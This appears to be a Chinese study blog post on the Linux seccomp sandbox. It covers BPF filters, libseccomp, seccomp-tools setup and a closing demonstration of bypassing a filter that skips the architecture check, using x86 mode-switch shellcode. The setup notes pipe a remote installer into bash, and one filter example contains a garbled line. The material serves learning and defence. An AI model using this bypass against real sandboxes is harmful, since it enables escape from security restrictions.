Abstract

SECure COMPuting mode,Linux内核中的一种计算机安全机制。seccomp有两中模式

  1. Strict。
  2. Filter。

In this sense, it does not virtualize the system’s resources but isolates the process from them entirely.

seccomp不会虚拟化系统资源,而是将进程与系统资源完全隔离开。

/usr/include/linux/seccomp.h

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#ifndef _LINUX_SECCOMP_H
#define _LINUX_SECCOMP_H


#include <linux/types.h>


/* Valid values for seccomp.mode and prctl(PR_SET_SECCOMP, <mode>) */
#define SECCOMP_MODE_DISABLED 0 /* seccomp is not in use. */
#define SECCOMP_MODE_STRICT 1 /* uses hard-coded filter. */
#define SECCOMP_MODE_FILTER 2 /* uses user-supplied filter. */

/* Valid operations for seccomp syscall. */
#define SECCOMP_SET_MODE_STRICT 0
#define SECCOMP_SET_MODE_FILTER 1
#define SECCOMP_GET_ACTION_AVAIL 2

...
/*

Strict Mode

严格模式,或hard-coded filter,硬编码过滤。该模式下进程只能使用_exit()[exit_group(2)除外],sigreturn(),read(),write()这四个syscall,如果尝试其余的syscall,内核将使用SIGKILLSIGSYS终止该进程。

Filter Mode

过滤模式,或seccomp-bpf,user-supplied filter。该模式下通过BPF(Berkeley Packet Filter)规则,允许指定可使用的syscalls。

BPF

filter.h中定义了两个宏

1
2
3
4
5
6
#ifndef BPF_STMT
#define BPF_STMT(code, k) { (unsigned short)(code), 0, 0, k }
#endif
#ifndef BPF_JUMP
#define BPF_JUMP(code, k, jt, jf) { (unsigned short)(code), jt, jf, k }
#endif

code相关定义可以参考/usr/include/linux/bpf_common.h

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47

/* Instruction classes */
#define BPF_CLASS(code) ((code) & 0x07)
#define BPF_LD 0x00
#define BPF_LDX 0x01
#define BPF_ST 0x02
#define BPF_STX 0x03
#define BPF_ALU 0x04
#define BPF_JMP 0x05
#define BPF_RET 0x06
#define BPF_MISC 0x07

/* ld/ldx fields */
#define BPF_SIZE(code) ((code) & 0x18)
#define BPF_W 0x00
#define BPF_H 0x08
#define BPF_B 0x10
#define BPF_MODE(code) ((code) & 0xe0)
#define BPF_IMM 0x00
#define BPF_ABS 0x20
#define BPF_IND 0x40
#define BPF_MEM 0x60
#define BPF_LEN 0x80
#define BPF_MSH 0xa0

/* alu/jmp fields */
#define BPF_OP(code) ((code) & 0xf0)
#define BPF_ADD 0x00
#define BPF_SUB 0x10
#define BPF_MUL 0x20
#define BPF_DIV 0x30
#define BPF_OR 0x40
#define BPF_AND 0x50
#define BPF_LSH 0x60
#define BPF_RSH 0x70
#define BPF_NEG 0x80
#define BPF_MOD 0x90
#define BPF_XOR 0xa0

#define BPF_JA 0x00
#define BPF_JEQ 0x10
#define BPF_JGT 0x20
#define BPF_JGE 0x30
#define BPF_JSET 0x40
#define BPF_SRC(code) ((code) & 0x08)
#define BPF_K 0x00
#define BPF_X 0x08

例子1:加载架构号进accumulator

1
2
BPF_STMT(BPF_LD | BPF_W | BPF_ABS,
(offsetof(struct seccomp_data, arch)))
  • BPF_LD: load
  • BPF_W: operand size is a word
  • BPF_ABS: address mode specifying that source of load is data area (containing system call data)
  • offsetof() generates offset of desired field in data area

例子2:Test value in accumulator

1
2
BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K,
AUDIT_ARCH_X86_64, 1, 0)
  • BPF_JMP | BPF_JEQ: jump with test on equality
  • BPF_K: value to test against is in generic multiuse field (k)
  • k contains value AUDIT_ARCH_X86_64
  • jt value is 1, meaning skip one instruction if test is true
  • jf value is 0, meaning skip zero instructions if test is false
    • I.e., continue execution at following instruction

注意:Checking architecture value should be first step in any BPF program

Architecture may support multiple system call conventions
E.g. x86 hardware supports x86-64 and i386
系统调用号可能会不同或有重叠(安全隐患,后文中会分析)

Filter return action component is one of

  • SECCOMP_RET_ALLOW: system call is executed
  • SECCOMP_RET_KILL: process is immediately terminated
    • Terminated as though process had been killed with SIGSYS
  • SECCOMP_RET_ERRNO: return an error from system call
    • System call is not executed
    • Value in SECCOMP_RET_DATA is returned in errno
  • SECCOMP_RET_TRACE: attempt to notify ptrace() tracer
    • Gives tracing process a chance to assume control
  • SECCOMP_RET_TRAP: process is sent SIGSYS signal
    • Can catch this signal

Seccomp

prctl

/usr/include/linux/filter.h中定义了BPF重要的两个结构。

sock_fprog结构体记录了具体的过滤规则条目数,并指向具体的过滤规则filter

1
2
3
4
struct sock_fprog {	/* Required for SO_ATTACH_FILTER. */
unsigned short len; /* Number of filter blocks */
struct sock_filter *filter;
};

具体的每一条过滤规则结构如下。

1
2
3
4
5
6
struct sock_filter {	/* Filter block */
__u16 code; /* Actual filter code */
__u8 jt; /* Jump true */
__u8 jf; /* Jump false */
__u32 k; /* Generic multiuse field */
};

/usr/include/linux/seccomp.h

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/**
* struct seccomp_data - the format the BPF program executes over.
* @nr: the system call number
* @arch: indicates system call convention as an AUDIT_ARCH_* value
* as defined in <linux/audit.h>.
* @instruction_pointer: at the time of the system call.
* @args: up to 6 system call arguments always stored as 64-bit values
* regardless of the architecture.
*/
struct seccomp_data {
int nr;
__u32 arch;
__u64 instruction_pointer;
__u64 args[6];
};

seccomp_data的四个元素:

  1. nr:系统调用号
  2. arch:系统架构
  3. instruction_pointer:指令指针
  4. args:系统调用的参数,最多6个。在32位下是:ebx,ecx,edx,esi,edi,ebp,在64位下是:rdi,rsi,rdx,r10,r8,r9

为进程安装filter

1
prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &fprog);

1
2
seccomp(SECCOMP_SET_MODE_FILTER, flags, &fprog);
//since Linux 3.17

启用filter的前提条件:

  1. Caller is privileged (CAP_SYS_ADMIN)
  2. Caller has to set the no_new_privs process attribute
    1. prctl(PR_SET_NO_NEW_PRIVS, 1);

例子:deny open()

1
2
3
4
5
6
7
8
9
int main(int argc, char **argv) {
prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
install_filter();

open("/tmp/a", O_RDONLY, 0666);

printf(" We shouldn’t see this message\n");
exit(EXIT_SUCCESS);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
static void install_filter(void) {
struct sock_filter filter[] = {
BPF_STMT(BPF_LD | BPF_W | BPF_ABS, (offsetof(struct seccomp_data, arch))), //1
BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, AUDIT_ARCH_X86_64, 1, 0), //2
BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL), //3

BPF_STMT(BPF_LD | BPF_W | BPF_ABS, (offsetof(struct seccomp_data, nr))),

BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_open, 5 1, 0),
BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW),

BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL)
};
struct sock_fprog prog = {
.len = (unsigned short) (sizeof(filter) /
sizeof(filter[0])),
.filter = filter,
};
seccomp(SECCOMP_SET_MODE_FILTER, 0, &prog);
//等价于prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER,&prog);
}
  1. 加载architecture进accumulator
  2. 判断架构值是否等于AUDIT_ARCH_X86_64
    1. True:跳过下一个指令
    2. False:依顺序向下执行
  3. 如果架构不匹配,则kill process
  4. 加载系统调用号进accumulator
  5. 判断系统调用号是否等于__NR_open
    1. True:跳过下一条指令=>kill process
    2. False:按顺序执行=>allow system call

libseccomp

早期的seccomp采用prctl来实现,后来seccomp被封装成libseccomp库。

早期的libseccomp安装

1
sudo apt install libseccomp-dev libseccomp2 seccomp

现在已经全都整合成了seccomp

1
2
3
find /usr/include/ -name seccomp.h
/usr/include/seccomp.h
/usr/include/linux/seccomp.h

注意区分,linux目录下的seccomp.h是原始版本。而linux目录外的seccomp.h则是libseccomp。

1
scmp_filter_ctx seccomp_init(uint32_t def_action);

初始化seccomp filter状态。

1
int seccomp_reset(scmp_filter_ctx ctx, uint32_t def_action);

重置并初始化seccomp filter。该函数不会重置已经加载到内核中的seccomp filter。

1
void seccomp_release(scmp_filter_ctx ctx);

破坏filter状态,并释放资源,包括内存。该函数不会重置已经加载到内核中的seccomp filter。

1
uint32_t seccomp_arch_resolve_name(const char *arch_name);

解析架构名

1
int seccomp_rule_add(scmp_filter_ctx ctx, uint32_t action, int syscall, unsigned int arg_cnt, ...);

添加一个新规则进filter

1
int seccomp_load(const scmp_filter_ctx ctx);

加载filter进入内核

以上函数的主要参数

  1. ctx:filter的内容
  2. action:filter的动作
  3. def_action:filter默认的动作
  4. arg_cnt:对syscall追加arg_cnt个参数的规则

简单示例,以组织execve为例

1
2
3
4
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_ALLOW);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
seccomp_load(ctx);

对以上代码的简要描述

  1. SCMP_ACT_ALLOW:初始化seccomp时赋予对所有syscall的默认规则为ALLOW
  2. SCMP_ACT_KILL:对execve的规则是KILL
  3. SCMP_SYS:获取系统调用号
    1. #define SCMP_SYS(x) (__NR_##x)
    2. 具体的__NR_***定义在/usr/include/x86_64-linux-gnu/asm/unistd_64.h
  4. 0:不考虑execve的参数,一律KILL

seccomp-tools

环境配置问题

要求ruby>=2.4

但是apt默认的只有2.3

所以先想办法升级ruby。

1
git clone https://github.com/postmodern/ruby-install

然后运行./setup.sh,记得挂代理

会全自动安装ruby2.3 ruby-install等

然后运行

1
ruby-install --latest

可以获取最新版本

或者直接

1
ruby-install --latest ruby

然后失败。。。

选择换个方式,先安装rvm

安装rvm

1
\curl -sSL https://get.rvm.io | bash -s stable

得挂代理

失败,提示要先安装GPG keys

安装GPG keys

1
gpg2 --keyserver hkp://pool.sks-keyservers.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3 7D2BAF1CF37B13E2069D6956105BD0E739499BDB

(此处命令与官网上的命令不同,官网的命令无效)

然后这个命令有难处,无反应

后返回ruby-install,思考最开始的失败可能与proxychains有关,所以去找了一个镜像地址

1
ruby-install -M https://cache.ruby-china.com/pub/ruby --latest ruby

精彩的地方来了,ruby-install需要获取ruby版本list,获取版本list必须挂代理,只有过了这一关,才能去镜像站获取对应版本的压缩包。绝了

最后没办法,失手又进ruby-install运行了一下./setup.sh,开始流畅的编译了了??????

编译好了。。。

image-20200317170359438
image-20200317170359438

发现没有gem

最后还是选择了rvm安装ruby

https://github.com/rvm/ubuntu_rvm

1
2
3
4
5
sudo apt-get install software-properties-common
sudo apt-add-repository -y ppa:rael-gc/rvm
sudo apt-get update
sudo apt-get install rvm
echo 'source "/etc/profile.d/rvm.sh"' >> ~/.bashrc

然后安装ruby

image-20200317194117459
image-20200317194117459

权限不足,不知所措

解决方法:

1
rvmsudo rvm install 2.7.0 --disable-binary

这下gem也在了在个屁。。。

ruby2.7 rvm gem永不共存,共存永远没有权限

最后,经过咨询,得出结论,不要用16.04

打开另一个18.04的虚拟机,发现已经安装了ruby2.5!而且有gem!

然后还是有权限问题,网上搜了一圈解决方案,并不可行。

最后×N,选择编译安装ruby,官网很慢,去国内镜像站下载https://cache.ruby-china.com/pub/ruby/2.7/

解压,然后编译安装

1
2
3
./configure --prefix=/usr/local/ruby
make
sudo make install

安装好了,配置一下$PATH,然后能用gem了

但是gem还是有权限问题,后来我就用了一个骚操作

Linux的sudo问题还是复杂。。。

1
sudo /usr/local/ruby/bin/gem install seccomp-tools

宗旨:一切以能用为准

尝试

原始示例

1
2
3
4
5
6
7
8
#include <unistd.h>

int main()
{
puts("simple seccomp test part 1");
system("/bin/sh");
return 0;
}

编译

1
gcc -g  test1.c  -o test1
image-20200317225029405
image-20200317225029405

普通的调用了一个shell

Strict mode

现在加入seccomp严格模式。

1
2
3
4
5
6
7
8
9
10
11
#include <unistd.h>
#include <linux/seccomp.h>
#include <sys/prctl.h>
int main()
{
prctl(PR_SET_SECCOMP,SECCOMP_MODE_STRICT);

puts("simple seccomp test part 1");
system("/bin/sh");
return 0;
}

编译运行

image-20200317231434656
image-20200317231434656

可以看到,这里连puts都没能执行,因为严格模式只允许使用write

所以做一点小修改

1
2
3
4
5
6
7
8
9
10
11
#include <unistd.h>
#include <linux/seccomp.h>
#include <sys/prctl.h>
int main()
{
prctl(PR_SET_SECCOMP,SECCOMP_MODE_STRICT);

write(1,"simple seccomp test part 1\n",27);
system("/bin/sh");
return 0;
}

重新编译运行

image-20200317231544117
image-20200317231544117

Filter mode

禁用所有系统调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <unistd.h>
#include <sys/prctl.h>
#include <linux/seccomp.h>
#include <sys/prctl.h>
#include <linux/filter.h>

struct sock_filter filter[] = {
BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_KILL),
};

struct sock_fprog prog = { //固定写法
.len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),//计算filter条目数量
.filter = filter,
};

int main()
{
prctl(PR_SET_NO_NEW_PRIVS, 1,0,0,0);
prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER,&prog);

write(1, "simple seccomp test part 3\n", 27);
system("/bin/sh");
return 0;
}
image-20200319230844217
image-20200319230844217

只禁用execve

查看系统调用号:

/usr/include/asm/unistd.h

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#ifndef _ASM_X86_UNISTD_H
#define _ASM_X86_UNISTD_H

/* x32 syscall flag bit */
#define __X32_SYSCALL_BIT 0x40000000

# ifdef __i386__
# include <asm/unistd_32.h>
# elif defined(__ILP32__)
# include <asm/unistd_x32.h>
# else
# include <asm/unistd_64.h>
# endif

#endif /* _ASM_X86_UNISTD_H */

根据系统查看x32或x64

/usr/include/asm/unistd_64.h

1
2
3
...
#define __NR_execve 59
...

获取execve的系统调用号为59

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <unistd.h>
#include <sys/prctl.h>
#include <linux/seccomp.h>
#include <sys/prctl.h>
#include <linux/filter.h>


struct sock_filter filter[] = {
BPF_STMT(BPF_LD+BPF_W+BPF_ABS,0), //加载偏移为0的值,即系统调用号,到第0个寄存器
BPF_JUMP(BPF_JMP+BPF_JEQ,59,0,1), //当syscall number ==59,顺序执行下一条规则,否则跳过下一条规则
BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_KILL), //KILL
BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_ALLOW), //ALLOW
};

struct sock_fprog prog = { //gudingxiefa
.len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
.filter = filter,
};

int main()
{
prctl(PR_SET_NO_NEW_PRIVS, 1,0,0,0);
prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER,&prog);

write(1, "simple seccomp test part 4\n", 27);
system("/bin/sh");
return 0;
}
image-20200319231616364
image-20200319231616364

libseccomp方式

禁用execve

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <unistd.h>
#include <sys/prctl.h>
#include <seccomp.h>
#include <linux/seccomp.h>
#include <linux/filter.h>

int main()
{
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_ALLOW);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
seccomp_load(ctx);

write(1, "simple seccomp test part 5\n", 27);
system("/bin/sh");
return 0;
}

编译

1
gcc -g test5.c -o test5 -lseccomp
image-20200326112547118
image-20200326112547118

seccomp-tools查看filter规则

1
2
3
4
5
6
7
8
9
10
 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x02 0xffffffff if (A != 0xffffffff) goto 0007
0005: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0007
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0007: 0x06 0x00 0x00 0x00000000 return KILL

Architecture number check

用prctl写一个检查架构号的规则

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <asm/unistd_64.h>
#include <sys/prctl.h>
#include <linux/seccomp.h>
#include <sys/prctl.h>
#include <linux/filter.h>
#include <linux/audit.h>

struct sock_filter filter[] = {
BPF_STMT(BPF_LD | BPF_W | BPF_ABS,4),
BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K,AUDIT_ARCH_X86_64, 0, 2),
BPF_STMT(BPF_LD+BPF_W+BPF_ABS,0),
BPF_JUMP(BPF_JMP+BPF_JEQ,__NR_execve,0,1),
BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_KILL),
BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_ALLOW),
};

struct sock_fprog prog = { //gudingxiefa
.len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
.filter = filter,
};

int main()
{
prctl(PR_SET_NO_NEW_PRIVS, 1,0,0,0);
prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER,&prog);

write(1, "simple seccomp test part 6\n", 27);
system("/bin/sh");
return 0;
}

用seccomp-tools查看一下filter的规则

1
2
3
4
5
6
7
8
 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x02 0xc000003e if (A != ARCH_X86_64) goto 0004
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0005
0004: 0x06 0x00 0x00 0x00000000 return KILL
0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW

bypass

未检查architecture|switching x64 mode to x86 mode

32位和64位中的系统调用号是不同的,如果程序使用seccomp而未对系统架构作检查,可能导致seccomp被绕过

首先将上述test6的程序作为例子,分别编译32位和64位版本

1
2
3
4
$ ./test6_x64 
simple seccomp test part 6
$ ./test6_x86
Bad system call (core dumped)

造成这一差异的原因,可以通过seccomp-tools来分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ seccomp-tools dump ./test6_x64
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x02 0xc000003e if (A != ARCH_X86_64) goto 0004
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0005
0004: 0x06 0x00 0x00 0x00000000 return KILL
0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW

$ seccomp-tools dump ./test6_x86
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x02 0xc000003e if (A != ARCH_X86_64) goto 0004
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x00 0x01 0x0000003b if (A != oldolduname) goto 0005
0004: 0x06 0x00 0x00 0x00000000 return KILL
0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW

可以看到由于原先的test6是根据x64的系统调用号设定的,因此在x86下seccomp错误的指向了oldolduname

查看unistd_32.h可以找到32位下execve的调用号为11

1
#define __NR_execve 11

这里一个单纯kill了execve(),另外一个回报错的差异,先挖个坑

通过CPU状态的切换可以绕过这一限制,前提:

  1. 未检查arch
  2. execve的系统调用号调用号未被禁止,x86架构下为11,x64架构下为59
  3. sys_mmapsys_mprotect能用。这种绕过方式通常没用gadgets可以利用,以此需要获取一个可写可执行的内存空间来注入执行shellcode

参考网上关于”Mixing x86 with x64 code”的博客,通过给cs寄存器赋值,可以实现架构模式的切换

1
2
cs = 0x23 -> x86 mode
cs = 0x33 -> x64 mode

然后通过RETF(far return)可以实现给cs赋值

1
RETF: POP CS:EIP

参考betamao的博客,下述的shellcode写入sec.asm

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
section .text
global my_execve

my_execve:
lea rsp,[stk] ;;如下所述,防止内存访问异常
call to32 ;;转换为32位
mov eax,11 ;;32位的sys_execve 64位的sys_munmap
mov ebx,edi ;;32位和64位参数所用寄存器不同需要手动修改
mov ecx,esi
mov edx,edx
int 0x80 ;;32位不能使用syscall,只能使用此指令
ret
to32:
mov DWORD [rsp+4],0x23
retf

section .bss ;;这里创建了一个栈,因为to32后rsp只有低位也就是esp有效了,若不这样做它将会指向一个不可访问的区域,这将会导致访问异常
resb 1000 ;;在实际利用过程中找到一个可访问的低位地址就好了
stk:

主程序test7.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#include <asm/unistd_64.h>
#include <sys/prctl.h>
#include <linux/seccomp.h>
#include <sys/prctl.h>
#include <linux/filter.h>
#include <linux/audit.h>
#include <stdint.h>
#include <sys/mman.h>

extern void my_execve(char *,char**,char**);
char *args[]={
"/bin/sh",
0
};

struct sock_filter filter[] = {
// BPF_STMT(BPF_LD | BPF_W | BPF_ABS,4),
// BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K,AUDIT_ARCH_X86_64, 0, 2),
BPF_STMT(BPF_LD+BPF_W+BPF_ABS,0),
BPF_JUMP(BPF_JMP+BPF_JEQ,__NR_execve,0,1),
BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_KILL),
BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_ALLOW),
};

struct sock_fprog prog = {
.len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
.filter = filter,
};

int main()
{
prctl(PR_SET_NO_NEW_PRIVS, 1,0,0,0);
prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER,&prog);

write(1, "simple seccomp bypass test 1\n", 30);

my_execve(args[0],args,0);

return 0;
}

编译测试

1
2
nasm -felf64 sec.asm -o sec.o
gcc sec.o test7.c -o test7

演示

1
2
3
4
$ ./test7
simple seccomp bypass test 1
$ ls
Bad system call (core dumped)

出现了明显的问题,这里原因是生成的shell后续的指令不能通过调用__x64_sys_execve来执行,所以这里可以在shellcode中直接执行指令,而不是调用shell

将上述代码12行的/bin/sh换成其他指令,如/usr/bin/whoami

1
2
3
$ ./test7
simple seccomp bypass test 1
wh4lter

检查architecture|在x64下调用x86的syscall

先挖坑,有空再填

References

  1. http://man7.org/linux/man-pages/man2/seccomp.2.html
  2. https://lwn.net/Articles/656307/
  3. http://man7.org/conf/lpc2015/limiting_kernel_attack_surface_with_seccomp-LPC_2015-Kerrisk.pdf
  4. https://bbs.pediy.com/thread-258146.htm
  5. https://blog.betamao.me/2019/01/23/Linux%E6%B2%99%E7%AE%B1%E4%B9%8Bseccomp/
  6. https://www.kernel.org/doc/html/v4.16/userspace-api/seccomp_filter.html
  7. https://github.com/seccomp/libseccomp
  8. https://lwn.net/Articles/494252/
  9. https://www.freebsd.org/cgi/man.cgi?query=bpf&sektion=4&manpath=FreeBSD+4.7-RELEASE
  10. http://blog.rewolf.pl/blog/?p=102